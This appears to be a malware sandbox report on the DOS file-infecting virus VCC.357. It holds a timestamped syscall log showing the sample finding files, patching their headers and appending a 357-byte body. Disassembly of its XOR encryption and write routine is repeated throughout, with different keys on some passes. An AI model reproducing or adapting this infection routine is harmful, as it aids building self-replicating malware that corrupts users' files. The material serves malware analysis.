Sample viewer

vx.netlux.org/Virus.DOS.VCC.357

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:58:26.38577512Z 26 PC: 12a72 | Set disk transfer address
2018-12-17T22:58:26.387614777Z 37 PC: 12a7f | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:58:26.389460947Z 37 PC: 12a83 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:58:26.390865156Z 78 PC: 12a9c | Find first file
2018-12-17T22:58:26.39847453Z 61 PC: 12b39 | Open file (Filename = '')
2018-12-17T22:58:26.41819719Z 63 PC: 12b48 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:58:26.429384939Z 66 PC: 12b57 | Move file pointer
2018-12-17T22:58:26.431443539Z 66 PC: 12b66 | Move file pointer
2018-12-17T22:58:26.433986017Z 64 PC: 12b72 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:58:26.437341845Z 66 PC: 12b7e | Move file pointer
2018-12-17T22:58:26.439207442Z 44 PC: 12b82 | Get time 0x12b82: mov byte ptr [bp + 0x165], dl
0x12b86: call 0x12b9c
0x12b89: mov ah, 0x40
0x12b8b: mov cx, 0x165
0x12b8e: lea dx, word ptr [bp + 6]
0x12b92: int 0x21
0x12b94: call 0x12b9c
0x12b97: mov ah, 0x3e
0x12b99: int 0x21
0x12b9b: ret
0x12b9c: lea si, word ptr [bp + 0x1f]
0x12ba0: mov cx, 0x127
0x12ba3: xor byte ptr [si], 0
0x12ba6: inc si
0x12ba7: dec cx
0x12ba8: jne 0x12ba3
0x12baa: ret
0x12bab: add word ptr [bx], di
0x12bad: aas
0x12bae: aas
2018-12-17T22:58:26.443097243Z 64 PC: 12b94 | Write file or device (Write 357 bytes on handle 5)
2018-12-17T22:58:26.458263079Z 62 PC: 12b9b | Close file
2018-12-17T22:58:26.474727315Z 79 PC: 12a9c | Find next file
2018-12-17T22:58:26.479050792Z 61 PC: 12b39 | Open file (Filename = '')
2018-12-17T22:58:26.486948286Z 63 PC: 12b48 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:58:26.494295316Z 66 PC: 12b57 | Move file pointer
2018-12-17T22:58:26.496966296Z 66 PC: 12b66 | Move file pointer
2018-12-17T22:58:26.499335258Z 64 PC: 12b72 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:58:26.502669365Z 66 PC: 12b7e | Move file pointer
2018-12-17T22:58:26.507652612Z 44 PC: 12b82 | Get time 0x12b82: mov byte ptr [bp + 0x165], dl
0x12b86: call 0x12b9c
0x12b89: mov ah, 0x40
0x12b8b: mov cx, 0x165
0x12b8e: lea dx, word ptr [bp + 6]
0x12b92: int 0x21
0x12b94: call 0x12b9c
0x12b97: mov ah, 0x3e
0x12b99: int 0x21
0x12b9b: ret
0x12b9c: lea si, word ptr [bp + 0x1f]
0x12ba0: mov cx, 0x127
0x12ba3: xor byte ptr [si], 0x45
0x12ba6: inc si
0x12ba7: dec cx
0x12ba8: jne 0x12ba3
0x12baa: ret
0x12bab: add word ptr [bx], di
0x12bad: aas
0x12bae: aas
2018-12-17T22:58:26.510433078Z 64 PC: 12b94 | Write file or device (Write 357 bytes on handle 5)
2018-12-17T22:58:26.513712462Z 62 PC: 12b9b | Close file
2018-12-17T22:58:26.528690065Z 79 PC: 12a9c | Find next file
2018-12-17T22:58:26.53233206Z 61 PC: 12b39 | Open file (Filename = '')
2018-12-17T22:58:26.539207293Z 63 PC: 12b48 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:58:26.546078248Z 66 PC: 12b57 | Move file pointer
2018-12-17T22:58:26.548371778Z 66 PC: 12b66 | Move file pointer
2018-12-17T22:58:26.550161883Z 64 PC: 12b72 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:58:26.553274534Z 66 PC: 12b7e | Move file pointer
2018-12-17T22:58:26.555671178Z 44 PC: 12b82 | Get time 0x12b82: mov byte ptr [bp + 0x165], dl
0x12b86: call 0x12b9c
0x12b89: mov ah, 0x40
0x12b8b: mov cx, 0x165
0x12b8e: lea dx, word ptr [bp + 6]
0x12b92: int 0x21
0x12b94: call 0x12b9c
0x12b97: mov ah, 0x3e
0x12b99: int 0x21
0x12b9b: ret
0x12b9c: lea si, word ptr [bp + 0x1f]
0x12ba0: mov cx, 0x127
0x12ba3: xor byte ptr [si], 0x4a
0x12ba6: inc si
0x12ba7: dec cx
0x12ba8: jne 0x12ba3
0x12baa: ret
0x12bab: add word ptr [bx], di
0x12bad: aas
0x12bae: aas
2018-12-17T22:58:26.558235739Z 64 PC: 12b94 | Write file or device (Write 357 bytes on handle 5)
2018-12-17T22:58:26.561291272Z 62 PC: 12b9b | Close file
2018-12-17T22:58:26.570822467Z 79 PC: 12a9c | Find next file
2018-12-17T22:58:26.573753586Z 61 PC: 12b39 | Open file (Filename = '')
2018-12-17T22:58:26.581488685Z 63 PC: 12b48 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:58:26.589205951Z 66 PC: 12b57 | Move file pointer
2018-12-17T22:58:26.590763158Z 66 PC: 12b66 | Move file pointer
2018-12-17T22:58:26.593852595Z 64 PC: 12b72 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:58:26.596932984Z 66 PC: 12b7e | Move file pointer
2018-12-17T22:58:26.599373512Z 44 PC: 12b82 | Get time 0x12b82: mov byte ptr [bp + 0x165], dl
0x12b86: call 0x12b9c
0x12b89: mov ah, 0x40
0x12b8b: mov cx, 0x165
0x12b8e: lea dx, word ptr [bp + 6]
0x12b92: int 0x21
0x12b94: call 0x12b9c
0x12b97: mov ah, 0x3e
0x12b99: int 0x21
0x12b9b: ret
0x12b9c: lea si, word ptr [bp + 0x1f]
0x12ba0: mov cx, 0x127
0x12ba3: xor byte ptr [si], 0x4a
0x12ba6: inc si
0x12ba7: dec cx
0x12ba8: jne 0x12ba3
0x12baa: ret
0x12bab: add word ptr [bx], di
0x12bad: aas
0x12bae: aas
2018-12-17T22:58:26.602110697Z 64 PC: 12b94 | Write file or device (Write 357 bytes on handle 5)
2018-12-17T22:58:26.605191698Z 62 PC: 12b9b | Close file
2018-12-17T22:58:26.614267456Z 79 PC: 12a9c | Find next file
2018-12-17T22:58:26.617373054Z 61 PC: 12b39 | Open file (Filename = '')
2018-12-17T22:58:26.624679367Z 63 PC: 12b48 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:58:26.632803918Z 66 PC: 12b57 | Move file pointer
2018-12-17T22:58:26.634699721Z 66 PC: 12b66 | Move file pointer
2018-12-17T22:58:26.636525373Z 64 PC: 12b72 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:58:26.640743572Z 66 PC: 12b7e | Move file pointer
2018-12-17T22:58:26.642752337Z 44 PC: 12b82 | Get time 0x12b82: mov byte ptr [bp + 0x165], dl
0x12b86: call 0x12b9c
0x12b89: mov ah, 0x40
0x12b8b: mov cx, 0x165
0x12b8e: lea dx, word ptr [bp + 6]
0x12b92: int 0x21
0x12b94: call 0x12b9c
0x12b97: mov ah, 0x3e
0x12b99: int 0x21
0x12b9b: ret
0x12b9c: lea si, word ptr [bp + 0x1f]
0x12ba0: mov cx, 0x127
0x12ba3: xor byte ptr [si], 0x50
0x12ba6: inc si
0x12ba7: dec cx
0x12ba8: jne 0x12ba3
0x12baa: ret
0x12bab: add word ptr [bx], di
0x12bad: aas
0x12bae: aas
2018-12-17T22:58:26.646137911Z 64 PC: 12b94 | Write file or device (Write 357 bytes on handle 5)
2018-12-17T22:58:26.649885535Z 62 PC: 12b9b | Close file
2018-12-17T22:58:26.658520816Z 26 PC: 12ab6 | Set disk transfer address
2018-12-17T22:58:26.660853751Z 63 PC: 12b48 | Read file or device (Read 0 bytes on handle 5)
2018-12-17T22:58:26.662985658Z 66 PC: 12b57 | Move file pointer
2018-12-17T22:58:26.666057141Z 66 PC: 12b66 | Move file pointer
2018-12-17T22:58:26.668780711Z 64 PC: 12b72 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:58:26.670446532Z 66 PC: 12b7e | Move file pointer
2018-12-17T22:58:26.672874064Z 44 PC: 12b82 | Get time 0x12b82: mov byte ptr [bp + 0x165], dl
0x12b86: call 0x12b9c
0x12b89: mov ah, 0x40
0x12b8b: mov cx, 0x165
0x12b8e: lea dx, word ptr [bp + 6]
0x12b92: int 0x21
0x12b94: call 0x12b9c
0x12b97: mov ah, 0x3e
0x12b99: int 0x21
0x12b9b: ret
0x12b9c: lea si, word ptr [bp + 0x1f]
0x12ba0: mov cx, 0x127
0x12ba3: xor byte ptr [si], 0x50
0x12ba6: inc si
0x12ba7: dec cx
0x12ba8: jne 0x12ba3
0x12baa: ret
0x12bab: add word ptr [bx], di
0x12bad: aas
0x12bae: aas
2018-12-17T22:58:26.67582431Z 64 PC: 12b94 | Write file or device (Write 357 bytes on handle 5)
2018-12-17T22:58:26.677855809Z 62 PC: 12b9b | Close file